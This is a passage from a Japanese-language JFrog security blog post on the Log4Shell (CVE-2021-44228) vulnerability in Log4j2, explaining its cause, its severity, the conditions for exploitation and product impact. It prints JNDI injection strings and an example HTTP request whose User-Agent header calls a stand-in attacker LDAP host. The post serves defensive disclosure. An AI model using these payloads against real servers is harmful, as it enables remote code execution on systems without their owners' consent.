{"id":86126,"date":"2021-12-28T10:30:17","date_gmt":"2021-12-28T08:30:17","guid":{"rendered":"https:\/\/jfrog.com\/?p=86126"},"modified":"2022-01-26T12:21:54","modified_gmt":"2022-01-26T10:21:54","slug":"log4shell-0-day-vulnerability-all-you-need-to-know","status":"publish","type":"post","link":"https:\/\/jfrog.com\/ja\/blog\/log4shell-0-day-vulnerability-all-you-need-to-know\/","title":{"rendered":"Log4Shell \u30bc\u30ed\u30c7\u30a4: \u77e5\u3063\u3066\u304a\u304f\u3079\u304d\u3053\u3068"},"content":{"rendered":"<p><img decoding=\"async\" class=\"alignnone size-full wp-image-81896\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/09\/23185759\/863x300-16.png\" alt=\"\" width=\"863\" height=\"300\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/09\/23185759\/863x300-16.png?speedsize=w_863 863w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/09\/23185759\/863x300-16.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/09\/23185759\/863x300-16.png?speedsize=w_768 768w\" sizes=\"(max-width: 863px) 100vw, 863px\" \/><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">2021\/12\/28 \u66f4\u65b0\uff1a<a href=\"#appendix-g\">CVE-2021-44832 \u306e\u5f71\u97ff\u8abf\u67fb<\/a>\u3092\u8ffd\u52a0<\/span><\/strong><\/span><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">2021\/12\/27 \u66f4\u65b0\uff1a\u300cLog4j2 2.15.0 \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306b\u3088\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u300d\u306b<a href=\"#toctou-bypass\">\u65b0\u305f\u306a\u30d0\u30a4\u30d1\u30b9\u65b9\u6cd5\u3092\u8ffd\u52a0<\/a><\/span><\/strong><\/span><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\"><span style=\"color: #000000\">2021\/12\/27 \u66f4\u65b0\uff1a\u300cLOG4J_FORMAT_MSG_NO_LOOKUPS \u306b\u3088\u308b\u7de9\u548c\u7b56\u306e\u30d0\u30a4\u30d1\u30b9\u306b\u3064\u3044\u3066\u300d \u306b<a href=\"#jfrog-bypass-patterns\">\u8106\u5f31\u306a\u8a2d\u5b9a\u4f8b\u3092\u8ffd\u52a0<\/a><\/span><\/span><\/strong><\/span><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">2021\/12\/27 \u66f4\u65b0\uff1a<span style=\"color: #000000\"><a href=\"#appendix-f\">Log4Shell \u30bf\u30a4\u30e0\u30e9\u30a4\u30f3<\/a>\u3092\u8ffd\u52a0<\/span><\/span><\/strong><\/span><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">2021\/12\/19 \u66f4\u65b0\uff1a<a href=\"#appendix-e\">CVE-2021-45105 \u306e\u5f71\u97ff\u5206\u6790<\/a>\u3092<\/span>\u8ffd\u52a0<\/strong><\/span><\/p>\n<p><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">2021\/12\/17 \u66f4\u65b0\uff1a<a href=\"#appendix-d\">Log4j2 2.15.0 \u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c<\/a> \uff08\u65b0\u3057\u3044\u7de9\u548c\u7b56\u306e\u30d0\u30a4\u30d1\u30b9\uff09\u3092\u8ffd\u52a0<\/span><\/strong><\/span><\/p>\n<p><strong>2021\/12\/15 \u66f4\u65b0\uff1a<span class=\"md-pair-s md-expand\"><span class=\"md-plain\"><a href=\"#appendix-c\">LOG4J_FORMAT_MSG_NO_LOOKUPS \u306b\u3088\u308b\u7de9\u548c\u7b56\u306e\u30d0\u30a4\u30d1\u30b9\u30c6\u30af\u30cb\u30c3\u30af\uff08CVE-2021-45046 \u5229\u7528\u306e\u3082\u306e\uff09<\/a><\/span><\/span>\u3092\u8ffd\u52a0<\/strong><\/p>\n<p><strong>2021\/12\/14 \u66f4\u65b0\uff1a<a href=\"#appendix-b\">\u3088\u308a\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306e Log4Shell \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/a>\uff08\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u30c9 Java \u30aa\u30d6\u30b8\u30a7\u30af\u30c8 \u30d0\u30a4\u30d1\u30b9\uff09\u3092\u8ffd\u52a0<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>\u5148\u9031\u306e\u6728\u66dc\u65e5\u3001Alibaba Cloud Security Team\u306e\u7814\u7a76\u8005\u304c\u3001\u975e\u5e38\u306b\u4eba\u6c17\u306e\u9ad8\u3044Java\u7528 <a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/\"><span style=\"font-weight: 400\">log4j<\/span><\/a> \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\uff08\u5177\u4f53\u7684\u306b\u306fLog4j2\u3068\u547c\u3070\u308c\u308b2.x\u30d6\u30e9\u30f3\u30c1\uff09\u3092\u6a19\u7684\u3068\u3057\u305f\u30bc\u30ed\u30c7\u30a4\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092Twitter\u306b\u6295\u7a3f\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u30a2\u30ea\u30d0\u30d0\u30af\u30e9\u30a6\u30c9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u304c11\u670824\u65e5\u306b\u767a\u898b\u3057\u3001<span style=\"font-weight: 400\"><a href=\"https:\/\/help.aliyun.com\/noticelist\/articleid\/1060971232.html\">Apache\u306b\u5831\u544a<\/a><\/span>\u3057\u305f\u3082\u306e\u3067\u3059\u3002MITRE\u306f\u3053\u306e\u8106\u5f31\u6027\u306b <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44228\"><span style=\"font-weight: 400\">CVE-2021-44228<\/span><\/a>\u3092\u5272\u308a\u5f53\u3066\u3001\u305d\u308c\u4ee5\u6765\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306e\u9593\u3067\u306f<a href=\"https:\/\/www.lunasec.io\/docs\/blog\/log4j-zero-day\/\"><span style=\"font-weight: 400\">Log4Shell<\/span><\/a>\u3068\u547c\u3070\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<h5><span style=\"color: #40be46\">JFrog \u306f\u3001Log4J \u306e\u5b58\u5728\u3084\u30ea\u30b9\u30af\u3092\u628a\u63e1\u3059\u308bOSS\u30c4\u30fc\u30eb\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u307e\u3057\u305f<\/span><\/h5>\n<h5 style=\"text-align: left\">\n    <a class=\"button button-primary\"  href=\"https:\/\/github.com\/jfrog\/log4j-tools\" target=\"_self\">\n    <span>\u30b9\u30ad\u30e3\u30f3\u30c4\u30fc\u30eb\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/span>\n    <\/a>\n    <\/h5>\n<hr \/>\n<h5 style=\"text-align: left\"><\/h5>\n<p>12\/9 \u4ee5\u964d\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u5bb9\u6613\u306b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u3067\uff08\u653b\u6483\u53ef\u80fd\u306a PoC \u304c\u516c\u958b\u6e08\u307f\uff09\u3001\u305d\u3057\u3066 Log4j \u304c\u975e\u5e38\u306b\u4eba\u6c17\u304c\u3042\u308b\u3053\u3068\u304b\u3089\u3001\u591a\u6570\u306e\u5b9f\u969b\u306e\u653b\u6483\u304c\u5831\u544a\u3055\u308c\u30e1\u30c7\u30a3\u30a2\u3084\u30bd\u30fc\u30b7\u30e3\u30eb\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3067\u5e83\u304f\u6271\u308f\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u3001\u3053\u306e\u554f\u984c\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30d9\u30af\u30c8\u30eb\u3092\u660e\u3089\u304b\u306b\u3057\u3001\u4f55\u304c\u8106\u5f31\u3067\u3042\u308b\u304b\u306b\u3064\u3044\u3066\u306e\u6b63\u78ba\u306a\u7814\u7a76\u306b\u88cf\u4ed8\u3051\u3089\u308c\u305f\u65b0\u3057\u304f\u304b\u3064\u6b63\u78ba\u306a\u60c5\u5831\u3092\u63d0\u4f9b\u3057\uff08\u30cd\u30c3\u30c8\u4e0a\u3067\u306f\u4e0d\u6b63\u78ba\u306a\u60c5\u5831\u3082\u3042\u308a\u307e\u3057\u305f\uff09\u3001log4j \u3092\u5bb9\u6613\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3067\u304d\u306a\u3044\u30d9\u30f3\u30c0\u306e\u305f\u3081\u306e\u6539\u5584\u7b56\u3092\u63d0\u6848\u3057\u3001\u3055\u3089\u306b JFrog \u793e\u306b\u5bc4\u305b\u3089\u308c\u305f\u5207\u5b9f\u306a\u8cea\u554f\u306b\u7b54\u3048\u307e\u3059\uff08\u3053\u3053\u6570\u65e5\u3067\u51fa\u56de\u3063\u305f\u7de9\u548c\u7b56\u306e\u6709\u52b9\u6027\u306a\u3069\uff09\u3002<\/p>\n<p><strong>\u91cd\u8981\uff1a<\/strong>JFrog \u88fd\u54c1\u306f\u3001log4j-core \u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u4f7f\u7528\u3057\u3066\u3044\u306a\u3044\u305f\u3081\u3001\u5f71\u97ff\u3092\u53d7\u3051\u307e\u305b\u3093\u3002<\/p>\n<h2><span style=\"font-weight: 400\">Log4Shell\u306e\u8106\u5f31\u6027\u306e\u539f\u56e0\u306f\u4f55\u304b?<\/span><\/h2>\n<p>Log4j2 \u306f\u3001&#8221;<a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/lookups.html\"><span style=\"font-weight: 400\">Message Lookup Substitution<\/span><\/a>&#8221; \u3068\u547c\u3070\u308c\u308b\u30ed\u30b0\u6a5f\u80fd\u3092\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6a5f\u80fd\u306f\u3001\u7279\u5b9a\u306e\u7279\u5225\u306a\u6587\u5b57\u5217\u3092\u30ed\u30ae\u30f3\u30b0\u6642\u306b\u52d5\u7684\u306b\u751f\u6210\u3055\u308c\u305f\u4ed6\u306e\u6587\u5b57\u5217\u306b\u7f6e\u304d\u63db\u3048\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001<span style=\"font-weight: 400\"><code>Running ${java:runtime}<\/code><\/span>\u3068\u3044\u3046\u6587\u5b57\u5217\u3092\u30ed\u30ae\u30f3\u30b0\u3059\u308b\u3068\u3001\u6b21\u306e\u3088\u3046\u306a\u51fa\u529b\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p><span style=\"font-weight: 400\"><code>Running Java version 1.7.0_67<\/code><\/span><\/p>\n<p>\u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u30e1\u30bd\u30c3\u30c9\u306e\uff11\u3064\u3067\u3042\u308b <strong>JNDI<\/strong> \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\uff08JNDI \u306f\u3001Java Naming and Directory Interface \u306e\u7565\u3067\u3001Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u30cd\u30fc\u30df\u30f3\u30b0\u3068\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u6a5f\u80fd\u3092\u63d0\u4f9b\u3059\u308b\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\uff09\u3001\u7279\u306b <strong>LDAP<\/strong> \u3092\u5229\u7528\u3057\u305f JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u306b\u304a\u3044\u3066\u3001\u6307\u5b9a\u3055\u308c\u305fJava \u30af\u30e9\u30b9\u3092\u30ea\u30e2\u30fc\u30c8\u30bd\u30fc\u30b9\u304b\u3089\u53d6\u5f97\u3057\u30e1\u30e2\u30ea\u5c55\u958b\u3057\u3066\u30af\u30e9\u30b9\u306e\u30b3\u30fc\u30c9\u306e\u4e00\u90e8\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p><strong>\u3064\u307e\u308a\u3001\u30ed\u30b0\u306b\u8a18\u9332\u3055\u308c\u305f\u6587\u5b57\u5217\u306e\u4e00\u90e8\u304c\u30ea\u30e2\u30fc\u30c8\u306e\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u5236\u5fa1\u53ef\u80fd\u306a\u5834\u5408\u3001\u305d\u306e\u653b\u6483\u8005\u306f\u305d\u306e\u6587\u5b57\u5217\u3092\u30ed\u30ae\u30f3\u30b0\u3057\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u4e0a\u3067\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u5b9f\u73fe\u3067\u304d\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/strong><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u554f\u984c\u3092\u5229\u7528\u3057\u305f\u6700\u3082\u4e00\u822c\u7684\u306a\u7f6e\u63db\u6587\u5b57\u5217\u306f\u4ee5\u4e0b\u3067\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>${jndi:ldap:\/\/somedomain.com}<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u4ee5\u4e0b\u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u3067\u3082\u653b\u6483\u53ef\u80fd\u3067\u3059\uff08\u4e00\u90e8\u306e\u30d7\u30ed\u30c8\u30b3\u30eb\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u4f7f\u7528\u3067\u304d\u306a\u3044\u5834\u5408\u304c\u3042\u308a\u307e\u3059\uff09\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>${jndi:<b>ldaps<\/b><span style=\"font-weight: 400\">:\/\/somedomain.com}<\/span><\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>${jndi:<b>rmi<\/b><span style=\"font-weight: 400\">:\/\/somedomain.com}<\/span><\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\"><code>${jndi:<b>dns<\/b><span style=\"font-weight: 400\">:\/\/somedomain.com}<\/span><\/code><\/span> (\u8106\u5f31\u306a\u30b5\u30fc\u30d0\u306e\u691c\u51fa\u304c\u53ef\u80fd\u3002\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u306b\u306f\u81f3\u3089\u306a\u3044)<\/p>\n<p><span style=\"font-weight: 400\">\u57fa\u672c\u7684\u306a\u653b\u6483\u306e\u6d41\u308c\u306f\u3001\u4e0b\u56f3\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/span><\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-86013\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022338\/image5.png\" alt=\"\" width=\"1522\" height=\"843\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022338\/image5.png?speedsize=w_1522 1522w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022338\/image5.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022338\/image5.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/13022338\/image5.png?speedsize=w_768 768w\" sizes=\"(max-width: 1522px) 100vw, 1522px\" \/><\/p>\n<h2><span style=\"font-weight: 400\">\u306a\u305c Log4Shell \u306f\u5371\u967a\u306a\u306e\u304b?<\/span><\/h2>\n<p><span style=\"font-weight: 400\">CVSS \u30b9\u30b3\u30a2\u3067\u6700\u9ad8\u306e 10.0 \u3092\u7372\u5f97\u3057\u305f\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u69d8\u3005\u306a\u8981\u56e0\u304b\u3089\u6975\u3081\u3066\u5371\u967a\u3067\u3059\u3002<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u5bb9\u6613\u3067\u3042\u308a\u3001<a href=\"https:\/\/github.com\/o7-Fire\/Log4Shell\">GitHub<\/a> \u3084\u305d\u306e\u4ed6\u306e\u516c\u958b\u30bd\u30fc\u30b9\u3067\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u5927\u91cf\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u304c\u4f7f\u7528\u3067\u304d\u308b<\/span><span style=\"font-weight: 400\">\u00a0<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Log4j2 \u306f\u3001\u6700\u3082\u4eba\u6c17\u306e\u3042\u308b Java \u30ed\u30ae\u30f3\u30b0\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\uff11\u3064\u3067\u3042\u308a\u3001\u73fe\u5728\u3001log4j-core\uff08\u8106\u5f31\u306a\u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\uff09\u306b\u4f9d\u5b58\u3057\u3066\u3044\u308b Maven \u30a2\u30fc\u30c6\u30a3\u30d5\u30a1\u30af\u30c8\u306f<a href=\"https:\/\/mvnrepository.com\/artifact\/org.apache.logging.log4j\/log4j-core\/usages\">\u7d04 7,000<\/a>\u00a0 \u500b\u3001\u305d\u3057\u3066\u305d\u308c\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b Java \u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3082\u7121\u6570\u306b\u5b58\u5728\u3059\u308b<\/span><\/li>\n<li style=\"font-weight: 400\">\u30e9\u30f3\u30c0\u30e0\u306b HTTP \u30b5\u30fc\u30d0\u306b\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u30c9\u30e9\u30a4\u30d6 \u30d0\u30a4 \u30a2\u30bf\u30c3\u30af\uff08\u30e6\u30fc\u30b6\u306e\u8a31\u53ef\u306a\u3057\u306b\u653b\u6483\u30b9\u30af\u30ea\u30d7\u30c8\u7b49\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3001\u5b9f\u884c\u3092\u53ef\u80fd\u3068\u3059\u308b\u653b\u6483\uff09\u306e\u30b7\u30ca\u30ea\u30aa\u306b\u5bb9\u6613\u306b\u5229\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\uff1a<\/li>\n<\/ol>\n<p><span style=\"font-weight: 400\"><code>GET \/ HTTP\/1.1<\/code><\/span><br \/>\n<span style=\"font-weight: 400\"><code>Host: somedomain.com<\/code><\/span><br \/>\n<span style=\"font-weight: 400\"><code>User-Agent: ${jndi:ldap:\/\/attacker-srv.com\/foo}<\/code><\/span><\/p>\n<p><span style=\"font-weight: 400\">\u3042\u308b\u3044\u306f\u3001<a href=\"https:\/\/github.com\/s0md3v\/XSStrike\">XSStrike<\/a> \u306e\u3088\u3046\u306a\u81ea\u52d5\u5316\u3055\u308c\u305f\u30c4\u30fc\u30eb\u3092\u4f7f\u3063\u3066\u3001\u5229\u7528\u53ef\u80fd\u306a\u3059\u3079\u3066\u306e HTML \u5165\u529b\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u6587\u5b57\u5217\u3092\u5165\u529b\u3059\u308b\u3053\u3068\u3067\u3001\u7279\u5b9a\u306e\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u306b\u5bfe\u3057\u3066\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483\u3092\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u308b\u3002<\/span><\/p>\n<p style=\"padding-left: 40px\"><span style=\"font-weight: 400\">4. \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u4f9d\u5b58\u3059\u308b\u3082\u306e\u306e\u3001\u4efb\u610f\u306e\u30e6\u30fc\u30b6\u5165\u529b\u304c Log4j2 \u306e\u30ed\u30b0\u6a5f\u80fd\u306e\u3044\u305a\u308c\u304b\u306b\u306f\u5fc5\u305a\u5230\u9054\u3059\u308b\u305f\u3081\uff08\u6b21\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u53c2\u7167\uff09\u3001\u653b\u6483\u30b7\u30ca\u30ea\u30aa\u3092\u4f5c\u308b\u3053\u3068\u306f\u5bb9\u6613\u3002\u307b\u3068\u3093\u3069\u306e\u30ed\u30ae\u30f3\u30b0 \u30b7\u30ca\u30ea\u30aa\u3067\u306f\u3001\u30ed\u30b0 \u30e1\u30c3\u30bb\u30fc\u30b8\u306e\u4e00\u90e8\u306f\u30e6\u30fc\u30b6\u304b\u3089\u306e\u5165\u529b\u3092\u542b\u307f\u3001\u3053\u306e\u7a2e\u306e\u5165\u529b\u306f\u3001\u5b89\u5168\u3067\u3042\u308b\u3068\u8003\u3048\u3089\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u307b\u3068\u3093\u3069\u30b5\u30cb\u30bf\u30a4\u30ba\u3055\u308c\u3066\u3044\u306a\u3044<\/span><\/p>\n<h2><span style=\"font-weight: 400\">\u8106\u5f31\u6027\u304c\u5229\u7528\u3067\u304d\u308b\u306e\u306f\u5177\u4f53\u7684\u306b\u3069\u306e\u3088\u3046\u306a\u5834\u5408\u304b?<\/span><\/h2>\n<p><span style=\"font-weight: 400\">Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u8106\u5f31\u6027\u304c\u5b58\u5728\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u6761\u4ef6\u304c\u3059\u3079\u3066\u6e80\u305f\u3055\u308c\u3066\u3044\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Java \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c log4j (Maven \u30d1\u30c3\u30b1\u30fc\u30b8 <a href=\"https:\/\/mvnrepository.com\/artifact\/org.apache.logging.log4j\/log4j-core\">log4j-core<\/a>) \u30d0\u30fc\u30b8\u30e7\u30f3 2.0.0-2.12.1 \u307e\u305f\u306f 2.13.0-2.14.1 \u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\uff08\u203b \u30d0\u30fc\u30b8\u30e7\u30f3 2.12.2 \u306f\u3001\u00a0<\/span><span style=\"font-weight: 400\">2.16.0 \u304b\u3089\u306e\u30d0\u30c3\u30af\u30dd\u30fc\u30c8\u4fee\u6b63\u304c\u306a\u3055\u308c\u3066\u3044\u308b\u306e\u3067\u8106\u5f31\u3067\u306f\u306a\u3044\uff09<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u6b21\u306e API \u3092\u901a\u3058\u3066\u4efb\u610f\u306e\u6587\u5b57\u5217\u3092\u30ed\u30ae\u30f3\u30b0\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u30fc\u00a0<code><span style=\"font-weight: 400\">logger.info()<\/span><\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.debug()<\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.error()<\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.fatal()<\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.log()<\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.trace()<\/code><\/span><span style=\"font-weight: 400\">, <\/span><span style=\"font-weight: 400\"><code>logger.warn()<\/code><\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">\u4f7f\u7528\u3057\u3066\u3044\u308b Java JRE \/ JDK \u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u6b21\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3088\u308a\u3082\u53e4\u3044<\/span>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">6u211<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">7u201<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">8u191<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">11.0.1<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400\">\u4e0a\u8a18\u3088\u308a\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u3001JVM \u30d7\u30ed\u30d1\u30c6\u30a3\u306e<code>com.sun.jndi.ldap.object.trustURLCodebase<\/code> \u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u3067 <strong>false <\/strong>\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u304a\u308a\u3001\u4efb\u610f\u306e URL \u306e\u30b3\u30fc\u30c9\u30d9\u30fc\u30b9\u304b\u3089\u306e\u30af\u30e9\u30b9\u306e JNDI \u30ed\u30fc\u30c9\u304c\u7121\u52b9\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<br \/>\n\u305f\u3060\u3057\u3001\u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u7279\u5b9a\u306e\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u30af\u30e9\u30b9\u304c\u5b58\u5728\u3059\u308b\u30de\u30b7\u30f3\u3067\u306f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u4f9d\u7136\u6b8b\u308b\u305f\u3081\u3001<span style=\"text-decoration: underline\">Java \u306e\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u306e\u307f\u4f9d\u5b58\u3059\u308b\u3053\u3068\u306f\u5371\u967a<\/span>\u3067\u3042\u308b\u3053\u3068\u306b\u3054\u6ce8\u610f\u304f\u3060\u3055\u3044\u3002<a href=\"#appendix-b\">\u4ed8\u9332B<\/a> \u306e\u300c\u3088\u308a\u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306e Log4Shell \u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u300d\u3092\u53c2\u7167\u304f\u3060\u3055\u3044\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400\">JFrog \u306e\u88fd\u54c1\u306f\u8106\u5f31\u304b\uff1f<\/span><\/h2>\n<p><span style=\"font-weight: 400\"><a href=\"https:\/\/jfrog.com\/knowledge-base\/general-jfrog-services-are-not-affected-by-vulnerability-cve-2021-44228\">JFrog \u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0 \u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u306f\u3053\u306e\u8106\u5f31\u6027\u306e\u5f71\u97ff\u3092\u53d7\u3051\u306a\u3044<\/a>\u3053\u3068\u3092\u3001JFrog \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30c1\u30fc\u30e0\u304c\u691c\u8a3c\u6e08\u307f\u3067\u3059\u3002Artifactory\u3001<a href=\"https:\/\/jfrog.com\/ja\/xray\/\">Xray<\/a>\u3001Distribution\u3001Insight\u3001Access\u3001Mission Control \u3092\u542b\u3080\u3069\u306e\u88fd\u54c1\u3082 log4j-core \u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u305b\u3093\u3002<\/span><\/p>\n<p>\u8aa4\u89e3\u3092\u907f\u3051\u308b\u305f\u3081\u3001\u5ff5\u3092\u62bc\u3057\u307e\u3059\u3002JFrog 